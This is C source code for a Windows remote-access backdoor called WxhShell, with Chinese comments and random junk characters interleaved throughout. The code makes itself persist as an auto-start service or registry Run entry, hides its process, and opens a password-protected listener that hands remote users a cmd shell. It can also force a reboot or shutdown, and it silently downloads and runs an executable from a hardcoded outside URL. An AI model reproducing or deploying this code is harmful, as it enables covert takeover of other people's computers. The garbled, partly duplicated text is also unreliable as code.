9(U PROCNTQSIP NtQueryInformationProcess; wWy;dma# Vv45w#w; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3iIy_nWC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C+llA XzHR^^;u"* HANDLE hProcess; USEb} M` PROCESS_BASIC_INFORMATION pbi; S0)JIrrHC w y|^=#k HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pYx,*kG:HW if(NULL == hInst ) return 0; DK\XC%~m !:^q_q4 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kIVQ2hmv g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @ M]_], NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >%k6k1CZ p 1'l D if (!NtQueryInformationProcess) return 0; b,E ?{uG ?: yz/9( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bI55G#1G if(!hProcess) return 0; :<t=??4m N)H "'#- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zd6ik&S
k*\Bl4g CloseHandle(hProcess); FfdB% G}fBd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c3^!S0U if(hProcess==NULL) return 0; nt#9j',6Rn #$I@V4O;# HMODULE hMod; }OpUG char procName[255]; "`$,qvNN unsigned long cbNeeded; L~Gr,i C9!t&<\} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P>VoA mG jB{Q+ CloseHandle(hProcess); :\\NK/" HIXAA?_eh= if(strstr(procName,"services")) return 1; // 以服务启动 qq/>E*~ >>y`ap2%V return 0; // 注册表启动 "' JnFM } cb|+6m~ 0%ul6LvM // 主模块 EtKq.<SJ int StartWxhshell(LPSTR lpCmdLine) RbAl_xKI { h2ROQKL"B SOCKET wsl; fg^AEn1i BOOL val=TRUE; gV2vwe int port=0; )`DVPudiy struct sockaddr_in door; T/_u;My; 7q?ZieR if(wscfg.ws_autoins) Install(); Vu:ZG*^ --K)7 port=atoi(lpCmdLine); hdPGqJE L4>14D\ if(port<=0) port=wscfg.ws_port; cx\E40WD A2|Bbqd WSADATA data; WH:dcU if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b^/u9 &C9IR,& if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n-Iz!;q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A{+/$7vek door.sin_family = AF_INET; q+?&w'8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); <=4$.2ym door.sin_port = htons(port); _3`GZeGV &}"kF\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b)diYsTH closesocket(wsl); h4hAzFQ.s return 1; [V'c } <Wn~s= .>"xp6 if(listen(wsl,2) == INVALID_SOCKET) { ef)RlzLOq closesocket(wsl); q,P.)\0A return 1; O*u
} 3H#,qug$ Wxhshell(wsl); -wn-PB@r WSACleanup(); v;(cJ,l V%R]jbHZ# return 0; 6tH}K +6WjOcu } mI&3y9; ( vPnS`& // 以NT服务方式启动 jJ2rfdfj VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GgpE"M? { D$FTnY DWORD status = 0; *). DWORD specificError = 0xfffffff; u>'0Xo9R $.tT serviceStatus.dwServiceType = SERVICE_WIN32; Es[3Ppz serviceStatus.dwCurrentState = SERVICE_START_PENDING; WI1YP0V serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +Z"Wa0wA serviceStatus.dwWin32ExitCode = 0;
K3zY-yIco serviceStatus.dwServiceSpecificExitCode = 0; ]-wyZ +a serviceStatus.dwCheckPoint = 0; N!7?D'y
serviceStatus.dwWaitHint = 0; EuHQp7 Lum=5zDo hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [Vbdsu9 if (hServiceStatusHandle==0) return; /K2[`+- s58dHnj5+ status = GetLastError();
6(7
56 if (status!=NO_ERROR) `{ Ox=+]M { ?jmL4V2-f serviceStatus.dwCurrentState = SERVICE_STOPPED; <mJ8~ serviceStatus.dwCheckPoint = 0; q>+!Ete1p serviceStatus.dwWaitHint = 0; GN(,` y serviceStatus.dwWin32ExitCode = status; E!X>C^ serviceStatus.dwServiceSpecificExitCode = specificError; q"269W: SetServiceStatus(hServiceStatusHandle, &serviceStatus); e>_a
( return; ~"*W;|) } otaRA A#`$#CO serviceStatus.dwCurrentState = SERVICE_RUNNING; #bcZ:D@FC serviceStatus.dwCheckPoint = 0; xm=Gt$>.o serviceStatus.dwWaitHint = 0; 8i^
./P if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~|<'@B!6 } _|; d
D SWtqp(h]' // 处理NT服务事件,比如:启动、停止 X6}W] VOID WINAPI NTServiceHandler(DWORD fdwControl) 8@doKOA~T { pcIS}+L switch(fdwControl) ;mI^J=V3 { N=U`BhL_ case SERVICE_CONTROL_STOP: le_aIbB"P serviceStatus.dwWin32ExitCode = 0; ES^JRX serviceStatus.dwCurrentState = SERVICE_STOPPED; GfSD%" serviceStatus.dwCheckPoint = 0; b*tb$F serviceStatus.dwWaitHint = 0; J3'q.Pc { nWc@ufY SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7z{N} } }T PyHq" return; %*K zP{ case SERVICE_CONTROL_PAUSE: K8&) kfyI serviceStatus.dwCurrentState = SERVICE_PAUSED; iW2\;}y break; b{&'r~ case SERVICE_CONTROL_CONTINUE: v2r|)c,h serviceStatus.dwCurrentState = SERVICE_RUNNING;
|Ch,C break; Qe!3ae`Z case SERVICE_CONTROL_INTERROGATE: HNc/p4z break; ]Ar,HaX- }; UlNiH SetServiceStatus(hServiceStatusHandle, &serviceStatus); I5QtPqB> } =[:E Z0v?3v}9^ // 标准应用程序主函数 4o";p}[b int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 30SQ&j[N] { -da: j-_ mJ(ElDG // 获取操作系统版本 y$di_)&g OsIsNt=GetOsVer(); g'w"U9tjO GetModuleFileName(NULL,ExeFile,MAX_PATH); K;Hgq4 XM"Qs.E // 从命令行安装 6WIs*$T2* if(strpbrk(lpCmdLine,"iI")) Install(); \ntUxPox. 8mLW^R:` // 下载执行文件 \M|:EG% if(wscfg.ws_downexe) { Tb;,t=;u if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D
vU1+y WinExec(wscfg.ws_filenam,SW_HIDE); .v}|Tp&k } LXJ;8uW2y aO(iKlZ$ if(!OsIsNt) { {98e_z w // 如果时win9x,隐藏进程并且设置为注册表启动 vf#d HideProc(); m]}U!XT StartWxhshell(lpCmdLine); tux0}|[^' } L<iRqayn else ]9_}S if(StartFromService()) sV5") /~ // 以服务方式启动 4{vEW( StartServiceCtrlDispatcher(DispatchTable); h 6IXD N else ]xoG{%vgb // 普通方式启动 imzPVGCD{ StartWxhshell(lpCmdLine); %{3q=9ii D:IG;Rsc return 0; .m\0<8C } wD$UShnm9- X6(s][Wn kw#-\RR_c WcM\4q@ =========================================== j`$$BVZ eV(9I v[ YHu]\'Ff ]e7?l/N[ dkCUU <LXx_{=: " W-&V:S{< b.\xPb #include <stdio.h> $6D*G-*8 #include <string.h> bJD$!*r\%! #include <windows.h> \M._x" #include <winsock2.h> .PR+_a-X #include <winsvc.h> a@qc? #include <urlmon.h> IOuqC.RJ}o gM=:80 #pragma comment (lib, "Ws2_32.lib") |vGHh zZ| #pragma comment (lib, "urlmon.lib") \#B<'J9.` 8,!Oup #define MAX_USER 100 // 最大客户端连接数 6},[HpXRc4 #define BUF_SOCK 200 // sock buffer nQ_{IO8/6W #define KEY_BUFF 255 // 输入 buffer P#XV_2 *x;4::'Jn #define REBOOT 0 // 重启 !8cV."~ #define SHUTDOWN 1 // 关机 o,*D8[ hEsiAbTyF #define DEF_PORT 5000 // 监听端口 kV5)3%? F N=WU<
5 #define REG_LEN 16 // 注册表键长度 "UNFB3 #define SVC_LEN 80 // NT服务名长度 +)e|> emnT;kJ> // 从dll定义API +s"6[\H1d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <"P-7/j3j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b7Z o~Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {A:uy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !%('8-x% xLOQu. // wxhshell配置信息 xSK#ovH2 struct WSCFG { NE8W--Cg| int ws_port; // 监听端口 %>i:C-l8 char ws_passstr[REG_LEN]; // 口令 zp1ym}9M int ws_autoins; // 安装标记, 1=yes 0=no (A6~mi r! char ws_regname[REG_LEN]; // 注册表键名 X
V;j6g char ws_svcname[REG_LEN]; // 服务名 .\^0RyJE char ws_svcdisp[SVC_LEN]; // 服务显示名 Hy[: _E char ws_svcdesc[SVC_LEN]; // 服务描述信息 M%!;5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D5?8`U
m= int ws_downexe; // 下载执行标记, 1=yes 0=no n%J=!z3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BrwC9: char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k_0@,b3 !#O[RS }; Hn(1_I%zF wLXJ?iy3 // default Wxhshell configuration U"p</Q struct WSCFG wscfg={DEF_PORT, 9T24dofkJ "xuhuanlingzhe", sEdz`F 1, vb6EO[e%I "Wxhshell", PKSfu++Z "Wxhshell", c8JW]A`9b) "WxhShell Service", 4Qfsxg "Wrsky Windows CmdShell Service", t n5 "Please Input Your Password: ", 4r1\&sI$~ 1, &o;0%QgF "http://www.wrsky.com/wxhshell.exe", x
I.W-js[ "Wxhshell.exe" 71c[`h*0{ }; \{lv~I CG=c@-"n/ // 消息定义模块 K\F0nToJ. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L4g%o9G char *msg_ws_prompt="\n\r? for help\n\r#>"; ] [MtG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IFX$\+- char *msg_ws_ext="\n\rExit."; cZ?QI6|[ char *msg_ws_end="\n\rQuit."; 8v& \F char *msg_ws_boot="\n\rReboot..."; rXX>I;`& char *msg_ws_poff="\n\rShutdown..."; D'#Q`H char *msg_ws_down="\n\rSave to "; 1I9v`eT4 <GNLDpj char *msg_ws_err="\n\rErr!"; S v>6:y9?G char *msg_ws_ok="\n\rOK!"; k5.5$<< T "lL+Heq>V char ExeFile[MAX_PATH]; ns8s2kYcm int nUser = 0; x 6`! HANDLE handles[MAX_USER]; "+"=iwEAz int OsIsNt; +&`W\?.~ '{,xQf*x SERVICE_STATUS serviceStatus; XZM3zlg* SERVICE_STATUS_HANDLE hServiceStatusHandle; `NsjtT'_ sV // 函数声明 i
U$~H int Install(void); tUJRNEg int Uninstall(void); uPA
(1 int DownloadFile(char *sURL, SOCKET wsh);
|/*Pimk int Boot(int flag); F`nQS&y void HideProc(void); Z nc(Q int GetOsVer(void); S }`sp[6 int Wxhshell(SOCKET wsl); d qn5G!fI void TalkWithClient(void *cs); a[O6xA% int CmdShell(SOCKET sock); LSJ?;Zg(=z int StartFromService(void); d]l8ei@>h int StartWxhshell(LPSTR lpCmdLine); e{P v:jl WKEb
'^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LmF ,en5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); \beO5]KS< C8}:z\A_@Z // 数据结构和表定义 }9'`3vsJ SERVICE_TABLE_ENTRY DispatchTable[] = ~9dpB>+ { L8QWEFB| {wscfg.ws_svcname, NTServiceMain}, .gRj^pu
{NULL, NULL} _8VP'S= }; senK(kbc az(<<2= // 自我安装 PLyity-L[7 int Install(void) \n)',4mY { Nz,yd%ua char svExeFile[MAX_PATH]; R2~Tr$: HKEY key; iEr,ly strcpy(svExeFile,ExeFile); []>'Dw_r \2i7\U // 如果是win9x系统,修改注册表设为自启动 )u)=@@k21 if(!OsIsNt) { m|@H`=`d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Eyx Ob RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~?Q sr RegCloseKey(key); 9oWU]A\k> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !+T1kMP+l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?['!0PF RegCloseKey(key); }vd*eexA return 0; SiratkP9n7 } SAx9cjj+ } OU[<\d } NB"S,\M0 else { S\k < e3?=1ZB // 如果是NT以上系统,安装为系统服务 :]^e-p!z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ej(Jj\ if (schSCManager!=0) j i"g)d6 { 7RAB"T;?Q SC_HANDLE schService = CreateService IS bs l=F ( &],uD3:5O schSCManager, =!O->C: wscfg.ws_svcname, #o.e
(C wscfg.ws_svcdisp, q+
$6D;9 SERVICE_ALL_ACCESS, Sqo+cZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jg6Lr~!i SERVICE_AUTO_START, {4 Of. SERVICE_ERROR_NORMAL, Hcq.Lq;2: svExeFile, _u`YjzK NULL, Mqf Ns<2 NULL, ^mS |ff NULL, 'y8{,R4C NULL, +eM${JyXH NULL /0h
*(nL ); <j'V}|3 if (schService!=0) p\6cpf { kI\m0];KnQ CloseServiceHandle(schService); -Mt
5< s CloseServiceHandle(schSCManager); [4Z 31v> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XpQ Ol strcat(svExeFile,wscfg.ws_svcname); S&op|Z)1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ykbg5Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u2V-V#jS RegCloseKey(key); UkV?,P@l return 0; (C2 XFg_ } Nk`UQ~g$ } BT$p~XB CloseServiceHandle(schSCManager); n/H
OP } 0J)s2&H } KhCP9(A=Qo {|+Y;V` return 1; (L_-!=e } !d*[QD8 S2~cAhR|M // 自我卸载 ^4y]7p int Uninstall(void) ;SR ESW { ])x1MmRg\ HKEY key; 092t6D} R$a<= if(!OsIsNt) { \INH[X#> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )*|/5wW1 RegDeleteValue(key,wscfg.ws_regname); P:qmg"i@3 RegCloseKey(key); K~x,so if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T5BZD
+Ta RegDeleteValue(key,wscfg.ws_regname); G7-BeA8 RegCloseKey(key); wucdXj{% return 0; l.[pnL D }
CI|lJ } kmuksT\)a
} "cH RGJG# else { TBhM^\z "q4tvcK. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B{-7 if (schSCManager!=0) D7ex{SVA) { # kI> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R#(0C(FI^ if (schService!=0) F /b`[ { X>%nzY]m if(DeleteService(schService)!=0) { 3P>gDQP CloseServiceHandle(schService); _`$LdqgE CloseServiceHandle(schSCManager); zd?@xno return 0; J(
}2Ua_ } @u3`lhUcT CloseServiceHandle(schService); ^6 6!f 5^W } H^_,e= j CloseServiceHandle(schSCManager); 1C[9}} } y!e]bvN } }fpya2Xt fGgt[f[ return 1; #%"q0" } 4 p_C+4 MatXhP] Fi // 从指定url下载文件 (iIw}f)w int DownloadFile(char *sURL, SOCKET wsh) &{iC:zp { 3KLUH=)P HRESULT hr; 0r]n
0?x char seps[]= "/"; 0QQss char *token; Zw]`z*,yRA char *file; 93-Y(Xx)bY char myURL[MAX_PATH]; ~m%[d.
}e char myFILE[MAX_PATH]; ffCDO\i({ @WJ;T= L strcpy(myURL,sURL); oL4W>b ) token=strtok(myURL,seps); We+rFk1ddt while(token!=NULL) TyxIlI4" { :-&|QVH file=token; \}-4(Xdaq token=strtok(NULL,seps); y)f.ON36I } !`ol&QQ# 1I Yip\:lS GetCurrentDirectory(MAX_PATH,myFILE);
D+8d^-: strcat(myFILE, "\\"); w$gvgz strcat(myFILE, file); R^Rc!G} send(wsh,myFILE,strlen(myFILE),0); `i{d"H0E send(wsh,"...",3,0); B`tq*T% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y48]|%73 if(hr==S_OK) T&U}}iWN return 0; eK8H5YE else e~h>b.~ return 1; owVvbC2<b( H$6RDMU } wNONh`b S"Al[{ // 系统电源模块 vwR_2u int Boot(int flag) 5<?Ah+1 { 337.' |ZE HANDLE hToken; ROO*/OOd TOKEN_PRIVILEGES tkp; ?7{U=1gb$ |%_C$s% if(OsIsNt) { *%-<Ldv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .soCU8i3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }A9#3Y|F tkp.PrivilegeCount = 1; A`c22Ls] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,"qCz[aDN1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~C-Sr@ a?/ if(flag==REBOOT) { IQQv+af5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [|\6AIoS return 0; GR,2^]<{ } $+gQnI3w else { Ht`fC|E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 01bCP return 0; $Dg-;I } n}p G&&;q } NW|B|kc else { e8a^"Z`a if(flag==REBOOT) { 6(|mdk`i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J,a&"eOZ return 0; 1-RY5R}VR } mq:k|w^6 else { Xz]l#w4Pp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u09Tlqh0 3 return 0; $m`Dyu } U }2@ } 7T[~~V^x , 3R=8 return 1; Sn:>|y~ } a[{qb AR"2?2<mJ7 // win9x进程隐藏模块 J_s`G void HideProc(void) w0QtGQ| { rcnH ^P _K5<)( ) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bC&A@.g{ if ( hKernel != NULL ) /"m s { 5hs_k[q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .[={Yx0!I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Po>6I0y FreeLibrary(hKernel); SA,~q& } }2
S. opX07~1 return; FlO?E3d } O[X*F2LC4 g 2Fg // 获取操作系统版本 :J;U~emq int GetOsVer(void) 8)B{x[?| { Za.}bR6?Y OSVERSIONINFO winfo; [d`Jw/4n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YSjc= GetVersionEx(&winfo); @kXuC< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =dm9+ff return 1; =fSTncq else B'/U#>/ return 0; ]#~J[uk } 4+olyBht pEB3qGA // 客户端句柄模块 r#- int Wxhshell(SOCKET wsl) \F
_1C= { g$(Y\`zw SOCKET wsh; zD_5TGM= struct sockaddr_in client; \Z*:l( DWORD myID; >=k7#av 92-Xz6Bo9 while(nUser<MAX_USER) $W._FAAJ# {
K^{j$ int nSize=sizeof(client); Aez2n(yac wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5nPvEN/ if(wsh==INVALID_SOCKET) return 1; kH g|! 1N/4W6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <Qq
{&,Le if(handles[nUser]==0) /%YW[oY{V closesocket(wsh); ]36SF5<0r
else 1$Up7=Dr= nUser++; A-x^JC= } 81RuNs] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aru2H6 dJ"44Wu+J return 0; r*HSi.'21 } cT(nKHL Gm+D1l i // 关闭 socket r$<!?Z void CloseIt(SOCKET wsh) @Y~gdK { Y XhZWo{B closesocket(wsh); y)r`<B nUser--; o*T?f)_[p ExitThread(0); .M6. ]H } b~;:[ #
I!zoo[/)% // 客户端请求句柄 :GvC#2p void TalkWithClient(void *cs) SiNgV\('U { &zn|), F'~r?D SOCKET wsh=(SOCKET)cs; '{`KYKLP+ char pwd[SVC_LEN]; j)ic7b char cmd[KEY_BUFF]; Fd8nR9A char chr[1]; d /jx8(0 int i,j; 33`bKKO} P IG,a~ while (nUser < MAX_USER) { 2_$8Ga >A )Sl' if(wscfg.ws_passstr) { .)*&NY!nsl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j,rc9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8;M,l2pmR{ //ZeroMemory(pwd,KEY_BUFF); \ZnA%hC i=0; `=Mk6$%Cs while(i<SVC_LEN) { 5|0}bv O ~#gc{C@ // 设置超时 O!PGZuF fd_set FdRead; U" @5R[=F- struct timeval TimeOut; jS,Pu%fR FD_ZERO(&FdRead); zDg*ds\ FD_SET(wsh,&FdRead); Vc\g"1x TimeOut.tv_sec=8; clDn=k< TimeOut.tv_usec=0; :b9#e g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X&Oo[Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u`EK^\R azZ|T{S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .p{lzI9 pwd=chr[0]; eg~
Dm>Es if(chr[0]==0xd || chr[0]==0xa) { <mX5VGY9^ pwd=0; J
rK{MhO break; Eq@sU?j } R14&V1 tZ i++; gvVy0nJI~ } Gn7\4,C iBWzxPv:z // 如果是非法用户,关闭 socket LBio$67F if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \Vv)(/q { } H:b"Vd"x9 &[`24Db send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }[%F send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %2RXrH2&H mAH7;u< while(1) { 0ytAn+/"x x~'_;>]r_ ZeroMemory(cmd,KEY_BUFF); [\F:NLjiUy 4][VK/v+ // 自动支持客户端 telnet标准 DN9x<%/- j=0; !/`AM<`o while(j<KEY_BUFF) { r
E1ouz!D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H#F"n"~$ cmd[j]=chr[0]; W}F~vx. if(chr[0]==0xa || chr[0]==0xd) { wz+mFf cmd[j]=0; :WH{wm| break; H F*~bL } 6oKlr,. j++; D~qi6@Ga } {?
yRO] ym
p*:lH( // 下载文件 Bl)D/ if(strstr(cmd,"http://")) { ~m R^j send(wsh,msg_ws_down,strlen(msg_ws_down),0); uP7|#>1% if(DownloadFile(cmd,wsh)) +VIEDV+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2SC'Z>A else p;[.&oJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H/f}tw } yR F+ else { bil>;&h qPN switch(cmd[0]) { %to.'R yyPj!<.MGP // 帮助 p-C{$5&
O1 case '?': { IL Nghtm- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .&=\
*cZc break; xR'd}>` } 7|Qb}[s // 安装 v&sp;%I6= case 'i': { bq7()ocA if(Install()) uA?a
DjA send(wsh,msg_ws_err,strlen(msg_ws_err),0); }zo-%# else C#&b` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w6 Y+Y;,'f break; ,g P;XRe1 } .>`7d=KT // 卸载 EZ Q!~ case 'r': { q9(O=7O]- if(Uninstall()) 5W{|?l{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); s5b<KQ. else !/F-EJOH6C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b9f5 break; ^[HX#JJ~ } |bRi bB // 显示 wxhshell 所在路径 EY1L5Ba. case 'p': { LGy!{c char svExeFile[MAX_PATH]; Yk4ah$}%-^ strcpy(svExeFile,"\n\r"); xoSBMf strcat(svExeFile,ExeFile); ,!~U5~ send(wsh,svExeFile,strlen(svExeFile),0); 4[0.M break; ' ]Km%uwL } 8W.-Y|[5? // 重启 [xs`Pi case 'b': { jaTCRn3|< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZDrTPnA[ if(Boot(REBOOT))
*!EHs04 send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]lD*3b else { GwD"j] closesocket(wsh); 7
dG_E]& ExitThread(0); TI'~K}Te } $EG<LmC-Q break; YkV-]%c } %D^j7`Z // 关机 (w 'k\y case 'd': { [s!c c:JR send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `O=LQ m` if(Boot(SHUTDOWN)) -}JRsQ+rgM send(wsh,msg_ws_err,strlen(msg_ws_err),0); atFu
KYI else { FLlL0Gu closesocket(wsh); I8hmn@ce ExitThread(0); j%0g*YI } RG_)<U/B break; V> eJ } E<_+Tc // 获取shell !I8(Y case 's': { r,Pu-bhF CmdShell(wsh); Y0OVzp9 b closesocket(wsh); {QLqf ExitThread(0); )3_g&& break; gtP;Qw' } Kib?JRYt // 退出 l\-(li
H case 'x': { \=g%W^i send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r(=3yd/G$ CloseIt(wsh); 01^W Py9l break; j@s,5:;[ } QeAkuqT'[ // 离开
)2,\Y case 'q': { HYk*;mD send(wsh,msg_ws_end,strlen(msg_ws_end),0); #^/&fdK~A closesocket(wsh); (aH_K07 WSACleanup(); 7<ES&ls_ exit(1); ~Urj:l break; gs|%3k | } cXokq } 8>jd2'v{ } ? Kn~fs8 0r\hX6 k // 提示信息 Ol@
YSk d if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \+w -{"u$ } V/!8q`lYNJ } ]pA}h.R#- A&0sD}I\K return; Uz!cVs?- } 7,"1%^tU mY1$N}8fm // shell模块句柄 - r82'3] int CmdShell(SOCKET sock) ~#~Kxh { dkf?lmC+M STARTUPINFO si; K`1\3J) ZeroMemory(&si,sizeof(si)); WaWx5Fx+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0?j+d8* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1k>*
PROCESS_INFORMATION ProcessInfo; 71w$i
4 char cmdline[]="cmd"; \h"QgHzp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]urcA,a return 0; N|1k6g=0 } !'C^qrh i_&&7. // 自身启动模式 D &wm7, int StartFromService(void) 3C8'@-U { Z,,Wo
%)o typedef struct r,b-c { (#.)~poZ DWORD ExitStatus; /$x6//0If DWORD PebBaseAddress; 18!0Hl> DWORD AffinityMask; z|yC [Ota DWORD BasePriority; AuU:613]W8 ULONG UniqueProcessId; Tr}c]IP* ULONG InheritedFromUniqueProcessId; an<tupi[E } PROCESS_BASIC_INFORMATION; ;comL29l2` W~QZ(:IK PROCNTQSIP NtQueryInformationProcess; +kl@`&ga TO)wjF_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T ,gMc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]?Ru~N} *pvhkJ g( HANDLE hProcess; }qXi;u)) PROCESS_BASIC_INFORMATION pbi; *-Y|qS% )f'cy@b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i@_|18F]` if(NULL == hInst ) return 0; M ~!*PCd5 (F7!&] 8% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I\DT(9
'E g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rYq8OZLi NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4Kt?; y
; '89D62\89 if (!NtQueryInformationProcess) return 0; Hj;j\R >2 YrgwR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G0//P
